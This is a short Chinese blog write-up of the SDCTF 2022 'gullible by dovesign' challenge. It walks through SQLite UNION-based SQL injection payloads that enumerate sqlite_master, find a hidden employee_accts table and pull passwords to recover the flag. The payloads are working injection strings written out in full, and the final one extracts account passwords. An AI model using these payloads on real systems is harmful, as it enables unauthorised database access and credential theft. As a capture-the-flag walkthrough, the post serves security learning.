这玩意多少有点抽象,注入点不好找,注入算简单,看nss上面没有wp于是就写了一份
Problem: [SDCTF 2022]gullible by dovesign
思路
-
这里我们尝试mysql的注入但是报错,尝试sqlite成功了,数据库是sqlite,查出表名为birds
1' union select 1,name,3 from sqlite_master --
-
我们继续查询字段
1' union select 1,sql,3 from sqlite_master where type='table' and name='birds'--
-
我们看看有没有不是其他name的表,还真有,flag可能在这里面,我们进去看看
1' union select 1,name,3 from sqlite_master where name!='birds' --
-
1' union select 1,sql,3 from sqlite_master where type='table' and name='employee_accts'--
-
然后查询密码,里面密码很多,我们直接查询含有{的密码
1' union select 1,password,3 from employee_accts where password like '%{%'--
得到flag
总结
- 混着点misc吧,看这个图片标签属性,有点麻烦,注入点不好找,但是注入基本很简单
版权所有:lzz0403的技术博客
文章标题:[SDCTF 2022]gullible by dovesign--WriteUp
文章链接:https://www.cnup.top/?post=125
本站文章均为原创,未经授权请勿用于任何商业用途
文章标题:[SDCTF 2022]gullible by dovesign--WriteUp
文章链接:https://www.cnup.top/?post=125
本站文章均为原创,未经授权请勿用于任何商业用途